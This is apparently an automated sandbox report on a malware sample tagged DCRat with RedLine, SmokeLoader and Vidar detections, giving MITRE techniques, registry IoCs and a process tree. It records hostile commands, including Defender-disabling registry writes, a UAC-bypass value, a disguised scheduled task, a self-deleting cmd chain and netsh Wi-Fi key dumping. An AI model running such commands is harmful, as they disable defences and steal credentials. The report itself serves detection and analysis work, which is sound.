dcrat | 7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

Modify Existing Service

T1031

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1808-356-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral1/memory/5032-372-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 22 IoCs

Processes:

C4FB.exeC6E1.exeCAF9.exeD6F0.exeC6E1.exeC6E1.exeC6E1.exebuild2.exebuild3.exebuild2.exe527A.exe5644.exe65D5.exe7A78.exe8556.exe1.exedead.exe9024.exe9844.exemstsca.exe5644.exe9844.exe

pid	process
4476	C4FB.exe
3760	C6E1.exe
4620	CAF9.exe
3892	D6F0.exe
2572	C6E1.exe
3232	C6E1.exe
1472	C6E1.exe
4968	build2.exe
3988	build3.exe
1388	build2.exe
2184	527A.exe
1508	5644.exe
3084	65D5.exe
3708	7A78.exe
4624	8556.exe
1616	1.exe
3460	dead.exe
2052	9024.exe
2620	9844.exe
4672	mstsca.exe
1808	5644.exe
5032	9844.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

build2.exe5644.exe8556.exe9024.exe9844.exeC6E1.exeC6E1.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	build2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	5644.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	8556.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	9024.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	9844.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	C6E1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	C6E1.exe

Loads dropped DLL 4 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

112 regsvr32.exe
112 regsvr32.exe
1388 build2.exe
1388 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

1984 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
112	regsvr32.exe
112	regsvr32.exe
1388	build2.exe
1388	build2.exe

pid	process
1984	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

Processes:

dead.exeexplorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dead.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dead.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dead.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

C6E1.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\78966ddf-976a-474d-ab51-144b04ab76cc\\C6E1.exe\" --AutoStart"	C6E1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

32 api.2ip.ua
33 api.2ip.ua
39 api.2ip.ua
132 ip-api.com

flow	ioc
32	api.2ip.ua
33	api.2ip.ua
39	api.2ip.ua
132	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

C6E1.exeC6E1.exebuild2.exe7A78.exe5644.exe9844.exe

description	pid	process	target process
PID 3760 set thread context of 2572	3760	C6E1.exe	C6E1.exe
PID 3232 set thread context of 1472	3232	C6E1.exe	C6E1.exe
PID 4968 set thread context of 1388	4968	build2.exe	build2.exe
PID 3708 set thread context of 4028	3708	7A78.exe	MSBuild.exe
PID 1508 set thread context of 1808	1508	5644.exe	5644.exe
PID 2620 set thread context of 5032	2620	9844.exe	9844.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3456 2184 WerFault.exe 527A.exe

pid	pid_target	process	target process
3456	2184	WerFault.exe	527A.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exeC4FB.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C4FB.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C4FB.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	C4FB.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exedead.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	dead.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	dead.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4696 schtasks.exe
5092 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

804 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

2324 taskkill.exe

pid	process
4696	schtasks.exe
5092	schtasks.exe

pid	process
804	timeout.exe

pid	process
2324	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe

pid	process
5000	7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
5000	7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

760

pid	process
760

Suspicious behavior: MapViewOfSection 24 IoCs

Processes:

7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exeC4FB.exe

pid	process
5000	7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
760
760
760
760
4476	C4FB.exe
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760
760

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exeWMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1808	wmic.exe
Token: SeSecurityPrivilege	1808	wmic.exe
Token: SeTakeOwnershipPrivilege	1808	wmic.exe
Token: SeLoadDriverPrivilege	1808	wmic.exe
Token: SeSystemProfilePrivilege	1808	wmic.exe
Token: SeSystemtimePrivilege	1808	wmic.exe
Token: SeProfSingleProcessPrivilege	1808	wmic.exe
Token: SeIncBasePriorityPrivilege	1808	wmic.exe
Token: SeCreatePagefilePrivilege	1808	wmic.exe
Token: SeBackupPrivilege	1808	wmic.exe
Token: SeRestorePrivilege	1808	wmic.exe
Token: SeShutdownPrivilege	1808	wmic.exe
Token: SeDebugPrivilege	1808	wmic.exe
Token: SeSystemEnvironmentPrivilege	1808	wmic.exe
Token: SeRemoteShutdownPrivilege	1808	wmic.exe
Token: SeUndockPrivilege	1808	wmic.exe
Token: SeManageVolumePrivilege	1808	wmic.exe
Token: 33	1808	wmic.exe
Token: 34	1808	wmic.exe
Token: 35	1808	wmic.exe
Token: 36	1808	wmic.exe
Token: SeIncreaseQuotaPrivilege	1808	wmic.exe
Token: SeSecurityPrivilege	1808	wmic.exe
Token: SeTakeOwnershipPrivilege	1808	wmic.exe
Token: SeLoadDriverPrivilege	1808	wmic.exe
Token: SeSystemProfilePrivilege	1808	wmic.exe
Token: SeSystemtimePrivilege	1808	wmic.exe
Token: SeProfSingleProcessPrivilege	1808	wmic.exe
Token: SeIncBasePriorityPrivilege	1808	wmic.exe
Token: SeCreatePagefilePrivilege	1808	wmic.exe
Token: SeBackupPrivilege	1808	wmic.exe
Token: SeRestorePrivilege	1808	wmic.exe
Token: SeShutdownPrivilege	1808	wmic.exe
Token: SeDebugPrivilege	1808	wmic.exe
Token: SeSystemEnvironmentPrivilege	1808	wmic.exe
Token: SeRemoteShutdownPrivilege	1808	wmic.exe
Token: SeUndockPrivilege	1808	wmic.exe
Token: SeManageVolumePrivilege	1808	wmic.exe
Token: 33	1808	wmic.exe
Token: 34	1808	wmic.exe
Token: 35	1808	wmic.exe
Token: 36	1808	wmic.exe
Token: SeShutdownPrivilege	760
Token: SeCreatePagefilePrivilege	760
Token: SeShutdownPrivilege	760
Token: SeCreatePagefilePrivilege	760
Token: SeIncreaseQuotaPrivilege	3900	WMIC.exe
Token: SeSecurityPrivilege	3900	WMIC.exe
Token: SeTakeOwnershipPrivilege	3900	WMIC.exe
Token: SeLoadDriverPrivilege	3900	WMIC.exe
Token: SeSystemProfilePrivilege	3900	WMIC.exe
Token: SeSystemtimePrivilege	3900	WMIC.exe
Token: SeProfSingleProcessPrivilege	3900	WMIC.exe
Token: SeIncBasePriorityPrivilege	3900	WMIC.exe
Token: SeCreatePagefilePrivilege	3900	WMIC.exe
Token: SeBackupPrivilege	3900	WMIC.exe
Token: SeRestorePrivilege	3900	WMIC.exe
Token: SeShutdownPrivilege	3900	WMIC.exe
Token: SeDebugPrivilege	3900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3900	WMIC.exe
Token: SeRemoteShutdownPrivilege	3900	WMIC.exe
Token: SeUndockPrivilege	3900	WMIC.exe
Token: SeManageVolumePrivilege	3900	WMIC.exe
Token: 33	3900	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exeCAF9.exeC6E1.execmd.execmd.exeC6E1.exeC6E1.exe

description	pid	process	target process
PID 760 wrote to memory of 204	760		regsvr32.exe
PID 760 wrote to memory of 204	760		regsvr32.exe
PID 204 wrote to memory of 112	204	regsvr32.exe	regsvr32.exe
PID 204 wrote to memory of 112	204	regsvr32.exe	regsvr32.exe
PID 204 wrote to memory of 112	204	regsvr32.exe	regsvr32.exe
PID 760 wrote to memory of 4476	760		C4FB.exe
PID 760 wrote to memory of 4476	760		C4FB.exe
PID 760 wrote to memory of 4476	760		C4FB.exe
PID 760 wrote to memory of 3760	760		C6E1.exe
PID 760 wrote to memory of 3760	760		C6E1.exe
PID 760 wrote to memory of 3760	760		C6E1.exe
PID 760 wrote to memory of 4620	760		CAF9.exe
PID 760 wrote to memory of 4620	760		CAF9.exe
PID 760 wrote to memory of 4620	760		CAF9.exe
PID 760 wrote to memory of 3892	760		D6F0.exe
PID 760 wrote to memory of 3892	760		D6F0.exe
PID 760 wrote to memory of 3892	760		D6F0.exe
PID 760 wrote to memory of 4656	760		explorer.exe
PID 760 wrote to memory of 4656	760		explorer.exe
PID 760 wrote to memory of 4656	760		explorer.exe
PID 760 wrote to memory of 4656	760		explorer.exe
PID 760 wrote to memory of 3536	760		explorer.exe
PID 760 wrote to memory of 3536	760		explorer.exe
PID 760 wrote to memory of 3536	760		explorer.exe
PID 4620 wrote to memory of 1808	4620	CAF9.exe	wmic.exe
PID 4620 wrote to memory of 1808	4620	CAF9.exe	wmic.exe
PID 4620 wrote to memory of 1808	4620	CAF9.exe	wmic.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 3760 wrote to memory of 2572	3760	C6E1.exe	C6E1.exe
PID 4620 wrote to memory of 4536	4620	CAF9.exe	cmd.exe
PID 4620 wrote to memory of 4536	4620	CAF9.exe	cmd.exe
PID 4620 wrote to memory of 4536	4620	CAF9.exe	cmd.exe
PID 4536 wrote to memory of 3900	4536	cmd.exe	WMIC.exe
PID 4536 wrote to memory of 3900	4536	cmd.exe	WMIC.exe
PID 4536 wrote to memory of 3900	4536	cmd.exe	WMIC.exe
PID 4620 wrote to memory of 3068	4620	CAF9.exe	cmd.exe
PID 4620 wrote to memory of 3068	4620	CAF9.exe	cmd.exe
PID 4620 wrote to memory of 3068	4620	CAF9.exe	cmd.exe
PID 3068 wrote to memory of 4824	3068	cmd.exe	WMIC.exe
PID 3068 wrote to memory of 4824	3068	cmd.exe	WMIC.exe
PID 3068 wrote to memory of 4824	3068	cmd.exe	WMIC.exe
PID 2572 wrote to memory of 1984	2572	C6E1.exe	icacls.exe
PID 2572 wrote to memory of 1984	2572	C6E1.exe	icacls.exe
PID 2572 wrote to memory of 1984	2572	C6E1.exe	icacls.exe
PID 2572 wrote to memory of 3232	2572	C6E1.exe	C6E1.exe
PID 2572 wrote to memory of 3232	2572	C6E1.exe	C6E1.exe
PID 2572 wrote to memory of 3232	2572	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe
PID 3232 wrote to memory of 1472	3232	C6E1.exe	C6E1.exe

outlook_office_path 1 IoCs

Processes:

dead.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dead.exe

outlook_win_path 1 IoCs

Processes:

dead.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	dead.exe

C:\Users\Admin\AppData\Local\Temp\7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe
"C:\Users\Admin\AppData\Local\Temp\7e7ab706e39b6ba18df69aef19a43a0787f84e33e9753e9de6d7d1e5fd69b666.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:5000

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\C2D8.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:204

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\C2D8.dll
2⤵
- Loads dropped DLL
PID:112

C:\Users\Admin\AppData\Local\Temp\C4FB.exe
C:\Users\Admin\AppData\Local\Temp\C4FB.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:4476

C:\Users\Admin\AppData\Local\Temp\C6E1.exe
C:\Users\Admin\AppData\Local\Temp\C6E1.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3760

C:\Users\Admin\AppData\Local\Temp\C6E1.exe
C:\Users\Admin\AppData\Local\Temp\C6E1.exe
2⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\78966ddf-976a-474d-ab51-144b04ab76cc" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:1984

C:\Users\Admin\AppData\Local\Temp\C6E1.exe
"C:\Users\Admin\AppData\Local\Temp\C6E1.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3232

C:\Users\Admin\AppData\Local\Temp\C6E1.exe
"C:\Users\Admin\AppData\Local\Temp\C6E1.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:1472

C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build2.exe
"C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4968

C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build2.exe
"C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build2.exe"
6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:1388

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" S/c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build2.exe" & del C:\PrograData\*.dll & exit
7⤵
PID:4616

C:\Windows\SysWOW64\taskkill.exe
taskkill /im build2.exe /f
8⤵
- Kills process with taskkill
PID:2324

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:804

C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build3.exe
"C:\Users\Admin\AppData\Local\8513d1fa-67ad-4ca8-839f-463bb557eaae\build3.exe"
5⤵
- Executes dropped EXE
PID:3988

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- Creates scheduled task(s)
PID:4696

C:\Users\Admin\AppData\Local\Temp\CAF9.exe
C:\Users\Admin\AppData\Local\Temp\CAF9.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4620

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1808

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:4536

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3900

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
3⤵
PID:4824

C:\Users\Admin\AppData\Local\Temp\D6F0.exe
C:\Users\Admin\AppData\Local\Temp\D6F0.exe
1⤵
- Executes dropped EXE
PID:3892

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
PID:4656

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3536

C:\Users\Admin\AppData\Local\Temp\527A.exe
C:\Users\Admin\AppData\Local\Temp\527A.exe
1⤵
- Executes dropped EXE
PID:2184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 1576
2⤵
- Program crash
PID:3456

C:\Users\Admin\AppData\Local\Temp\5644.exe
C:\Users\Admin\AppData\Local\Temp\5644.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
PID:1508

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
PID:5028

C:\Users\Admin\AppData\Local\Temp\5644.exe
C:\Users\Admin\AppData\Local\Temp\5644.exe
2⤵
- Executes dropped EXE
PID:1808

C:\Users\Admin\AppData\Local\Temp\65D5.exe
C:\Users\Admin\AppData\Local\Temp\65D5.exe
1⤵
- Executes dropped EXE
PID:3084

C:\Users\Admin\AppData\Local\Temp\7A78.exe
C:\Users\Admin\AppData\Local\Temp\7A78.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3708

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\\MSBuild.exe"
2⤵
PID:4028

C:\Users\Admin\AppData\Local\Temp\dead.exe
"C:\Users\Admin\AppData\Local\Temp\dead.exe"
3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Checks processor information in registry
- outlook_office_path
- outlook_win_path
PID:3460

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
4⤵
PID:3424

C:\Windows\system32\chcp.com
chcp 65001
5⤵
PID:1092

C:\Windows\system32\netsh.exe
netsh wlan show profile
5⤵
PID:4380

C:\Windows\system32\findstr.exe
findstr All
5⤵
PID:4504

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show profile name="65001" key=clear | findstr Key
4⤵
PID:1988

C:\Windows\system32\chcp.com
chcp 65001
5⤵
PID:1976

C:\Windows\system32\netsh.exe
netsh wlan show profile name="65001" key=clear
5⤵
PID:4232

C:\Windows\system32\findstr.exe
findstr Key
5⤵
PID:1324

C:\Users\Admin\AppData\Local\Temp\8556.exe
C:\Users\Admin\AppData\Local\Temp\8556.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
PID:4624

C:\Windows\Temp\1.exe
"C:\Windows\Temp\1.exe"
2⤵
- Executes dropped EXE
PID:1616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2184 -ip 2184
1⤵
PID:60

